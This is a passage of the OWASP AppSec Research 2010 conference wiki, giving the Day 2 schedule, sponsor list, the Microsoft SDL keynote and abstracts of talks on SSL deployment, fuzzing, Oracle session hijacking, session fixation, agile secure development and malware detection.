&lt;br /&gt;
SSL is the technology that secures the Internet, but it is effective only when deployed properly. While the SSL protocol itself is very robust and easy to use, the same cannot be said for the usability of the complete ecosystem, which includes server configuration, certificates and application implementation details. In fact, SSL deployment is generally plagued with traps at every step of the way. As a result, too many web sites use insecure deployment practices that render SSL completely useless. In this talk I will present a list of top ten (or thereabout) deployment mistakes, based on my work on the SSL Labs assessment platform (https://www.ssllabs.com). &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] The State of SSL in the World  ===&lt;br /&gt;
&lt;br /&gt;
''Michael Boman, Omegapoint'' &lt;br /&gt;
&lt;br /&gt;
What is the status of SSL deployments in Fortune 500 companies and the top 10'000 websites (according to Alexa)? While developing a tool that was needed to perform the test-case OWASP-CM-001 (Testing for SSL-TLS) it was noticed that some sites had very good SSL-configuration, sometimes unexpectedly, and some sites has very poor security configuration, even when you could expect the site to have good security standard. Does the organization behind the site has any bearing on how good the security standard the site has in regards to HTTPS-support and configuration? The talk will highlight the findings and the tools and process of obtaining the underlying data, while also trying to answer the questions: - How many of the Fortune 500 and Top 10'000 websites offer an HTTPS-enabled browser experience to their visitors? - How is the HTTPS-server configured in regards to SSL-protocols offered, key exchange and key lengths (bit-size)? - Are there any correlation between company size, industry or popularity and the HTTPS-enabled browsing experience and the HTTPS-configuration? &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] SmashFileFuzzer - a New File Fuzzer Tool  ===&lt;br /&gt;
&lt;br /&gt;
''Komal Randive, Symantec'' &lt;br /&gt;
&lt;br /&gt;
Here is a tool SmashFileFuzzer designed and developed to address the same problem with ease. SmashFileFuzzer understands the file formats and then user can specify the fields in the file to be fuzzed. SmashFileFuzzer acts on a sample file of the required format and generates multiple fuzzed file copies from this sample file. SmashFileFuzzer also has the support to add more custom file formats to be able to fuzz them, especially .dat formats. In comparison with the existing file fuzzers and frameworks this fuzzer has simple language for adding new formats, many more modes of fuzzing and attack oriented fuzzing. Following are the highlights of this fuzzer &lt;br /&gt;
&lt;br /&gt;
*Support to understand the file formats and fuzz specific fields with specified/random data &lt;br /&gt;
*Understands the correlation between different fields and manipulates them in accordance with the fuzzed content. &lt;br /&gt;
*Can generate valid fuzzed files even based on the partial format understanding. Only the portions of file format which are understood by the user can be used to generate valid fuzzed files. &lt;br /&gt;
*Understands the custom formats for file types and also for the configuration files(e.g key value pair format or .dat formats) &lt;br /&gt;
*Tool is designed to be easily extended for any new file formats &lt;br /&gt;
*Fuzz strings are read from a dictionary file. Users can add application specific input string to this dictionary for testing. &lt;br /&gt;
*It’s a unix shell based tool which can be easily scripted.&lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] Owning Oracle: Sessions and Credentials  ===&lt;br /&gt;
&lt;br /&gt;
''Wendel G. Henrique and Steve Ocepek, Trustwave'' &lt;br /&gt;
&lt;br /&gt;
In a world of free, ever-present encryption libraries, many penetration testers still find a lot of great stuff on the wire. Database traffic is a common favorite, and with good reason: when the data includes PAN, Track, and CVV, it makes you stop and wonder why this stuff isn’t encrypted across the board. However, despite this weakness, we still need someone to issue queries before we see the data. Or maybe not… after all, it’s just plaintext. &lt;br /&gt;
&lt;br /&gt;
Wendel G. Henrique and Steve Ocepek of Trustwave’s SpiderLabs division offer a closer look at the world’s most popular relational database: Oracle. Through a combination of downgrade attacks and session take-over exploits, this talk introduces a unique approach to database account hijacking. Using a new tool, thicknet, the team will demonstrate how deadly injection and downgrade attacks can be to database security. &lt;br /&gt;
&lt;br /&gt;
The Oracle TNS/Net8 protocol was studied extensively during presentation for this talk. Very little public knowledge of this protocol exists today, and much of the data gained is, as far as we know, new to Oracle outsiders. &lt;br /&gt;
&lt;br /&gt;
Also, during the presentation we will be offering to attendants: &lt;br /&gt;
&lt;br /&gt;
*Knowledge about man-in-the-middle and downgrade attacks, especially the area of data injection. &lt;br /&gt;
*A better understanding of the network protocol used by Oracle. &lt;br /&gt;
*The ability to audit databases against this type of attack vector. &lt;br /&gt;
*Ideas for how to prevent this type of attack, and an understanding of the value of encryption and digital signature technologies. &lt;br /&gt;
*Understanding of methodologies used to reverse-engineer undocumented protocols.&lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] Session Fixation - the Forgotten Vulnerability?  ===&lt;br /&gt;
&lt;br /&gt;
''Michael Schrank and Bastian Braun, University of Passau, and Martin Johns, SAP Research'' &lt;br /&gt;
&lt;br /&gt;
The term 'Session Fixation vulnerability' subsumes issues in Web applications that under certain circumstances enable the adversary to perform a session hijacking attack through ontrolling the victim's session identier value. We explore this vulnerability pattern. First, we give an analysis of the root causes and document existing attack vectors. Then we take steps to assess the current attack surface of Session Fixation. Finally, we present a transparent server-side method for mitigating vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
==== June 24  ====&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width:80%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;4&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | '''Conference Day 2 - June 24, 2010''' &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Research R.gif]] = Research paper [[Image:OWASP AppSec Research 2010 Demo D.gif]] = Demo [[Image:OWASP AppSec Research 2010 Presentation P.gif]] = Presentation &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | &lt;br /&gt;
| style=&amp;quot;width:30%; background:#BC857A&amp;quot; | Track 1 &lt;br /&gt;
| style=&amp;quot;width:30%; background:#BCA57A&amp;quot; | Track 2 &lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; | Track 3&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 08:00-08:50 &lt;br /&gt;
| align=&amp;quot;left&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | Breakfast + Coffee&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 08:50-09:00&lt;br /&gt;
| align=&amp;quot;left&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | Three Announcements from OWASP ([http://owasp.blip.tv/file/3918100/ video])&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 09:00-10:00 &lt;br /&gt;
| colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:rgb(252, 252, 150)&amp;quot; align=&amp;quot;center&amp;quot; | [[#Keynote: The Security Development Lifecycle - The Creation and Evolution of a Security Development Process]]  ([[Media:OWASP_AppSec_Research_2010_Keynote_2_by_Lipner.pdf|pdf]]) ([http://owasp.blip.tv/file/3917790/ video])&amp;lt;br&amp;gt;''Steve Lipner, Senior Director of Security Engineering Strategy, Microsoft Corporation''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 10:10-10:45 &lt;br /&gt;
| style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#The Anatomy of Real-World Software Security Programs]] ([[Media:OWASP_AppSec_Research_2010_OpenSAMM_by_Chandra.pdf|pdf]]) ([http://owasp.blip.tv/file/3917922/ video])&lt;br /&gt;
&lt;br /&gt;
''Pravir Chandra, Fortify'' &lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#Promon TestSuite: Client-Based Penetration Testing Tool]] (pdf not available yet) ([http://owasp.blip.tv/file/3917626/ video])&lt;br /&gt;
&lt;br /&gt;
''Folker den Braber and Tom Lysemose Hansen, Promon'' &lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Research R.gif]] [[#A Taint Mode for Python via a Library]]  ([[Media:OWASP_AppSec_Research_2010_Taint_Mode_for_Python_by_Conti_and_Russo.pdf|pdf]]) ([http://owasp.blip.tv/file/3918194/ video])&lt;br /&gt;
&lt;br /&gt;
''Juan José Conti, Universidad Tecnológica Nacional&amp;lt;br&amp;gt;Alejandro Russo, Chalmers Univ. of Technology'' &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 10:45-11:10 &lt;br /&gt;
| colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:90%; background:#C2C2C2&amp;quot; align=&amp;quot;left&amp;quot; | Break - Expo - CTF, Coffee sponsor: [[Image:OWASP AppSec Research 2010 MyNethouse logo for program.png]]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 11:10-11:45 &lt;br /&gt;
| style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Microsoft's Security Development Lifecycle for Agile Development]] ([[Media:OWASP_AppSec_Research_2010_Microsoft_SDL_Agile_by_Coblentz.pdf|pdf]]) ([http://owasp.blip.tv/file/3918259/ video])&lt;br /&gt;
&lt;br /&gt;
''Nick Coblentz, OWASP Kansas City Chapter and AT&amp;amp;T Consulting'' &lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Detecting and Protecting Your Users from 100% of all Malware - How?]] ([[Media:OWASP_AppSec_Research_2010_Detecting_100%_Malware_by_Anstis_Pogulievsky.pdf|pdf]]) ([http://owasp.blip.tv/file/3917670/ video])&lt;br /&gt;
&lt;br /&gt;
''Bradley Anstis and Vadim Pogulievsky, M86 Security'' &lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Research R.gif]] [[#OPA: Language Support for a Sane, Safe and Secure Web]] ([[Media:OWASP_AppSec_Research_2010_OPA_by_Rajchenbach-Teller.pdf‎|pdf]]) ([http://owasp.blip.tv/file/3918159/ video without sound :( ])&lt;br /&gt;
&lt;br /&gt;
''David Rajchenbach-Teller and François-Régis Sinot, MLstate'' &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 11:55-12:30 &lt;br /&gt;
| style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Secure Application Development for the Enterprise: Practical, Real-World Tips]] ([[Media:OWASP_AppSec_Research_2010_Real-World_Tips_by_Craigue.pdf|pdf]]) ([http://owasp.blip.tv/file/3918017/ video])&lt;br /&gt;
&lt;br /&gt;
''Michael Craigue, Dell'' &lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Responsibility for the Harm and Risk of Software Security Flaws]] ([[Media:OWASP_AppSec_Research_2010_Responsibility_for_Sec_Flaws_by_Goldschmidt.pdf|pdf]]) ([http://owasp.blip.tv/file/3917898/ video])&lt;br /&gt;
&lt;br /&gt;
''Cassio Goldschmidt, Symantec'' &lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Research R.gif]] [[#Secure the Clones: Static Enforcement of Policies for Secure Object Copying]] ([[Media:OWASP_AppSec_Research_2010_Secure_Cloning_by_Jensen.pdf|pdf]]) ([http://owasp.blip.tv/file/3918334/ video])&lt;br /&gt;
&lt;br /&gt;
''Thomas Jensen and David Pichardie, INRIA Rennes - Bretagne Atlantique'' &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 12:30-13:45 &lt;br /&gt;
| colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#C2C2C2&amp;quot; align=&amp;quot;left&amp;quot; | Lunch - Expo - CTF, '''Lunch break sponsoring position open''' ($4,000)&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 13:45-14:20 &lt;br /&gt;
| style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Product Security Management in Agile Product Management]] ([[Media:OWASP_AppSec_Research_2010_Agile_Prod_Sec_Mgmt_by_Vaha-Sipila.pdf|pdf]]) ([http://owasp.blip.tv/file/3917970/ video])&lt;br /&gt;
&lt;br /&gt;
''Antti Vähä-Sipilä, Nokia'' &lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Hacking by Numbers]] ([[Media:OWASP_AppSec_Research_2010_Hacking_by_Numbers_by_Brennan.pdf|pdf]]) ([http://owasp.blip.tv/file/3918065/ video])&lt;br /&gt;
&lt;br /&gt;
''Tom Brennan, WhiteHat Security and OWASP Foundation&amp;lt;br&amp;gt;'' &lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Research R.gif]] [[#Safe Wrappers and Sane Policies for Self Protecting JavaScript]] ([[Media:OWASP_AppSec_Research_2010_Safe_Wrappers_by_Magazinius.pdf|pdf]]) ([http://owasp.blip.tv/file/3917719/ video])&lt;br /&gt;
&lt;br /&gt;
''Jonas Magazinius, Phu H. Phung, and David Sands, Chalmers Univ. of Technology'' &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 14:30-15:05 &lt;br /&gt;
| style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#OWASP_Top_10_2010]] ([[Media:OWASP_AppSec_Research_2010_OWASP_Top_10_by_Wichers.pdf|pdf]]) ([http://owasp.blip.tv/file/3917942/ video])&lt;br /&gt;
&lt;br /&gt;
''Dave Wichers, Aspect Security and OWASP Foundation&amp;lt;br&amp;gt;'' &lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Application Security Scoreboard in the Sky]] ([[Media:OWASP_AppSec_Research_2010_Appsec_Scoreboard_by_Eng.pdf|pdf]]) ([http://owasp.blip.tv/file/3918005/ video])&lt;br /&gt;
&lt;br /&gt;
''Chris Eng, Veracode'' &lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Research R.gif]] [[#On the Privacy of File Sharing Services]] (pdf &amp;amp; video not available because of potential zero-day)&lt;br /&gt;
&lt;br /&gt;
''N Nikiforakis, F Gadaleta, Y Younan, and W Joosen, Katholieke Universiteit Leuven'' &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 15:05-15:30 &lt;br /&gt;
| colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#C2C2C2&amp;quot; align=&amp;quot;left&amp;quot; | Break - Expo - CTF, '''Coffee break sponsoring position open''' ($2,000)&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 15:30-16:00 &lt;br /&gt;
| colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:90%; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | CTF Price Ceremony, Announcement of OWASP AppSec EU 2011, Closing Notes ([[Media:OWASP_AppSec_Research_2010_Closing_Talk_by_Wilander.pdf|pdf]])&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Image:AppSec Research 2010 Microsoft diamond sponsor.jpg|250px|Microsoft - Diamond Sponsor]] [[Image:AppSec Research 2010 Google 20k sponsor.jpg|150px|Google - Dinner Party and Expo Sponsor]] [[Image:Portwise logo.png|130px|PortWise - Gold and Badge Sponsor]] [[Image:Cybercom logo.png|100px|Cybercom - Gold Sponsor]] [[Image:Fortify logo AppSec Research 2010.png|120px|Fortify - Gold Sponsor]] [[Image:Omegapoint logo.png|110px|Omegapoint - Gold Sponsor]] [[Image:Mnemonic logo.png|100px|Mnemonic - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor Nixu logo.jpg|100px|NIXU - Silver Sponsor]] [[Image:Hps_logo.png|140px|High Performance Systems - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor F5 logo.jpg|70px|F5 - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor Imperva logo.jpg|100px|Imperva - Silver Sponsor]] [[Image:AppSec_Research_2010_sponsor_Promon_logo.jpg|100px|Promon - Silver Sponsor]] [[Image:IIS logo.png|100px|Stiftelsen för Internetinfrastruktur - Lunch Sponsor]] [[Image:MyNethouse logo.png|100px|MyNethouse - Coffee Break Sponsor]] [[Image:AppSec Research 2010 Help Net Security sponsor.jpg|100px|Help Net Security - Media Sponsor]] [[Image:TrustwaveLogo.jpg|100px|Trustwave - Notepad sponsor]]&lt;br /&gt;
&amp;lt;/center&amp;gt; &lt;br /&gt;
== Keynote: The Security Development Lifecycle - The Creation and Evolution of a Security Development Process  ==&lt;br /&gt;
&lt;br /&gt;
[[Image:Appsec research 2010 invited talk 2.jpg]] &lt;br /&gt;
&lt;br /&gt;
'''Steve Lipner'''&amp;lt;br&amp;gt; Senior Director of Security Engineering Strategy, Trustworthy Computing Security, Microsoft Corporation.&amp;lt;br&amp;gt; Co-author of &amp;quot;The Security Development Lifecycle&amp;quot;, Microsoft Press (book cover above). &lt;br /&gt;
&lt;br /&gt;
'''Abstract'''&amp;lt;br&amp;gt; This keynote will review the evolution of the Security Development Lifecycle (SDL) from its origins in the Microsoft “security pushes” of 2002-3 through its current status and application in 2010. It will emphasize the aspects of change and change management as the SDL and its user community have matured and grown and will conclude with a summary of some recent changes and additions to the SDL. Specific topics to be addressed include: &lt;br /&gt;
&lt;br /&gt;
*Motivations for introducing both the SDL and its predecessor processes. &lt;br /&gt;
*Considerations in selling the process to management and sustaining a mandate over a prolonged period. &lt;br /&gt;
*Scaling the SDL to an organization with tens of thousands of engineers. &lt;br /&gt;
*Managing change. &lt;br /&gt;
*The role of automation in the SDL. &lt;br /&gt;
*Adaptation of the SDL to agile development processes. &lt;br /&gt;
*Thoughts for organizations that are considering implementing the SDL.&lt;br /&gt;
&lt;br /&gt;
The presentation will cover technical aspects of the SDL including a brief review of requirements and tools, and results. &lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio'''&amp;lt;br&amp;gt; Steven B. Lipner is senior director of Security Engineering Strategy at Microsoft Corp where he is responsible for programs that provide improved product security for Microsoft customers. Lipner leads Microsoft’s Security Development Lifecycle (SDL) team and is responsible for the definition of Microsoft’s SDL and for programs to make the SDL available to organizations beyond Microsoft. Lipner is also responsible for Microsoft’s corporate strategies related to government security evaluation of Microsoft products. &lt;br /&gt;
&lt;br /&gt;
Lipner is coauthor with Michael Howard of The Security Development Lifecycle (Microsoft Press, 2006) and is named as inventor on twelve U.S. patents and two pending applications in the field of computer and network security. He has authored numerous professional papers and conference presentations, and served on several National Research Council committees. He served two terms – a total of more than ten years – on the United States Information Security and Privacy Advisory Board and its predecessor. Lipner holds S.B. and S.M. degrees in Civil Engineering from the Massachusetts Institute of Technology and attended the Harvard Business School’s Program for Management Development. &lt;br /&gt;
&lt;br /&gt;
== DAY 2, TRACK 1  ==&lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] The Anatomy of Real-World Software Security Programs  ===&lt;br /&gt;
&lt;br /&gt;
''Pravir Chandra, Fortify'' &lt;br /&gt;
&lt;br /&gt;
Effectively reducing risk from software vulnerabilities remains a challenge for most organizations despite the existence of several secure SDLC models. From conducting technical assessments to earning management buy-in, there may not seem to be a lot of easy answers along the way, but experiences from the field shows that there is indeed hope. We've learned that the hard questions of &amp;quot;what&amp;quot;, &amp;quot;when&amp;quot;, and &amp;quot;how much&amp;quot; simply require the answers to be customized to each organization. Whether you’re a developer or a CISO, this talk will leave you with actionable advice that you can use to help take your software security assurance program to the next level.&lt;br /&gt;
 &lt;br /&gt;
To help organizations formulate their own solutions, we'll discuss several real-world examples of programs in action. From there, we’ll talk about lessons learned and introduce the ''Open Software Assurance Maturity Model'' (OpenSAMM), a flexible framework for building a balanced software security assurance program (OpenSAMM is an open and free OWASP project and more information is available at http://www.opensamm.org). Using the framework, attendees will learn how to self-assess their security activities and use available resources to drive improvement in small and measurable iterations. With time remaining, we’ll also discuss the latest work on the OpenSAMM project and how it relates to other modern approaches to building out assurance programs.&lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Microsoft's Security Development Lifecycle for Agile Development  ===&lt;br /&gt;
&lt;br /&gt;
''Nick Coblentz, OWASP Kansas City Chapter and AT&amp;amp;amp;T Consulting'' &lt;br /&gt;
&lt;br /&gt;
Many development and security teams believe Agile development cannot be accomplished securely.  During this presentation, Nick Coblentz will discuss the recent guidance from Microsoft that enables development teams to include secure development activities within their Agile processes without compromising features or functionality. Nick will also demonstrate ASP.NET libraries, strategies, and automated tools to reduce the effort required by developers.&lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Secure Application Development for the Enterprise: Practical, Real-World Tips  ===&lt;br /&gt;
&lt;br /&gt;
''Michael Craigue, Dell'' &lt;br /&gt;
&lt;br /&gt;
Dell has a reputation for IT simplification and a lean cost structure. We take the same approach with our application security program. This talk covers money-saving tips in the creation and evolution of Dell's Security Development Lifecycle, including risk assessments, security reviews, threat modeling, source code scans, awareness/training, application security user groups, security consulting staff development, and assurance scans/penetration testing. We’ll discuss how we have adapted our program to our IT, Product Group, and Services organizations. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Product Security Management in Agile Product Management  ===&lt;br /&gt;
&lt;br /&gt;
''Antti Vähä-Sipilä, Nokia'' &lt;br /&gt;
&lt;br /&gt;
This paper provides a model for product security risk management and security requirements elicitation in an agile product management framework, using the concepts of Scrum and an epics-based agile requirements model. The paper documents some real-life experiences of rolling out such a risk management model. The model addresses security threat analysis and risk acceptance, and is agnostic to the actual security engineering practices employed in the Scrum teams, and is scalable over large and small enterprises. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] OWASP Top 10 2010  ===&lt;br /&gt;
&lt;br /&gt;
''Dave Wichers, Aspect Security and OWASP Foundation'' &lt;br /&gt;
&lt;br /&gt;
This presentation will cover the OWASP Top 10 - 2010 (final version). The OWASP Top 10 was originally released in 2003 to raise awareness of the importance of application security. As the field evolves, the Top 10 needs to be periodically updated to keep with up with the times. The Top 10 was updated in 2004 and the last update was in 2007, where it introduced Cross Site Request Forgery (CSRF) as the big new emerging web application security risk. &lt;br /&gt;
&lt;br /&gt;
This update will be based on more sources of web application vulnerability information than the previous versions were when determining the new Top 10. It will also present this information in a more concise, compelling, and consumable manner, and include strong references to the many new openly available resources that can help address each issue, particularly OWASP's new Enterprise Security API (ESAPI) and Application Security Verification Standard (ASVS) projects. &lt;br /&gt;
&lt;br /&gt;
A significant change for this update will be that the OWASP Top 10 will be focused on the Top 10 Risks to Web Applications, not just the most common vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
== DAY 2, TRACK 2  ==&lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] Promon TestSuite: Client-Based Penetration Testing Tool  ===&lt;br /&gt;
&lt;br /&gt;
''Folker den Braber and Tom Lysemose Hansen, Promon'' &lt;br /&gt;
&lt;br /&gt;
Vulnerability analysis has a wide scope containing both social and technical aspects. An important part of technical vulnerability analysis consists of penetration testing. In most cases, penetration testing is focused on either server side or network layer vulnerabilities. In this demonstration we will have a closer look at vulnerability analysis on the client side, while demonstrating the use of the Promon Testuite testing tool. &lt;br /&gt;
&lt;br /&gt;
Promon TestSuite is designed to use the same vectors as common malware but in a clear and visual way, with varying payloads to illustrate the security issues involved with giving injected code free access to a programs memory. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Detecting and Protecting Your Users from 100% of all Malware - How?  ===&lt;br /&gt;
&lt;br /&gt;
''Bradley Anstis and Vadim Pogulievsky, M86 Security'' &lt;br /&gt;
&lt;br /&gt;
100% Malware detection is the goal but is it really achievable?  This session looks at the traditional Malware detection technologies and how well they perform today and then compares this to some newer approaches with demonstrations of Real-time code analysis and Behavioral Analysis technologies to see what is better or worse.&lt;br /&gt;
&lt;br /&gt;
100% detection rates are the goal, but how close can we get with a single technology, or what combination of technologies can we use to get as close as possible?&lt;br /&gt;
&lt;br /&gt;
This session is all about challenging the existing accepted practices for Malware protection. We want to open the minds of the attendees, encourage them to question existing solutions and the incumbent market leading vendors. We want you to also re-evaluate their environment to see if improvements can be made.&lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Responsibility for the Harm and Risk of Software Security Flaws  ===&lt;br /&gt;
&lt;br /&gt;
''Cassio Goldschmidt, Symantec Corp'' &lt;br /&gt;
&lt;br /&gt;
Who is responsible for the harm and risk of security flaws? The advent of worldwide networks such as the internet made software security (or the lack of software security) become a problem of international proportions. There are no mathematical/statistical risk models available today to assess networked systems with interdependent failures. Without this tool, decision-makers are bound to overinvest in activities that don’t generate the desired return on investment or under invest on mitigations, risking dreadful consequences. Experience suggests that no party is solely responsible for the harm and risk of software security flaws but a model of partial responsibility can only emerge once the duties and motivations of all parties are examine and understood. &lt;br /&gt;
&lt;br /&gt;
State of the art practices in software development won’t guarantee products free of flaws. The infinite principles of mathematics are not properly implemented in modern computer hardware without having to truncate numbers and calculations. Many of the most common operating systems, network protocols and programming languages used today were first conceived without the basic principles of security in mind. Compromises are made to maintain compatibility of newer versions of these systems with previous versions. Evolving software inherits all flaws and risks that are present in this layered and interdependent solution. Lastly, there are no formal ways to prove software correctness using neither mathematics nor definitive authority to assert the absence of vulnerabilities. The slightest coding error can lead to a fatal flaw. Without a doubt, vulnerabilities in software applications will continue to be part of our daily lives for years to come. &lt;br /&gt;
&lt;br /&gt;
Decisions made by adopters such as whether to install a patch, upgrade a system or employed insecure configurations create externalities that have implications on the security of other systems. Proper cyber hygiene and education are vital to stop the proliferation of computer worms, viruses and botnets. Furthermore, end users, corporations and large governments directly influence software vendors’ decisions to invest on security by voting with their money every time software is purchased or pirated. &lt;br /&gt;
&lt;br /&gt;
Security researchers largely influence the overall state of software security depending on the approach taken to disclose findings. While many believe full disclosure practices helped the software industry to advance security in the past, several of the most devastating computer worms were created by borrowing from information detailed by researcher’s full disclosure. Both incentives and penalties were created for security researchers: a number of stories of vendors suing security researchers are available in the press. Some countries enacted laws banning the use and development of “hacking tools”. At the same time, companies such as iDefense promoted the creation of a market for security vulnerabilities providing rewards that are larger than a year’s worth of salary for a software practitioner in countries such as China and India. &lt;br /&gt;
&lt;br /&gt;
Effective policy and standards can serve as leverage to fix the problem either by providing incentives or penalties. Attempts such PCI created a perverse incentive that diverted decision makers’ goals to compliance instead of security. Stiff mandates and ineffective laws have been observed internationally. Given the fast pace of the industry, laws to combat software vulnerabilities may become obsolete before they are enacted. Alternatively, the government can use its own buying power to encourage adoption of good security standards. One example of this is the Federal Desktop Core Configuration (FDCC). &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Hacking by Numbers  ===&lt;br /&gt;
&lt;br /&gt;
''Tom Brennan, WhiteHat Security and OWASP Foundation'' &lt;br /&gt;
&lt;br /&gt;
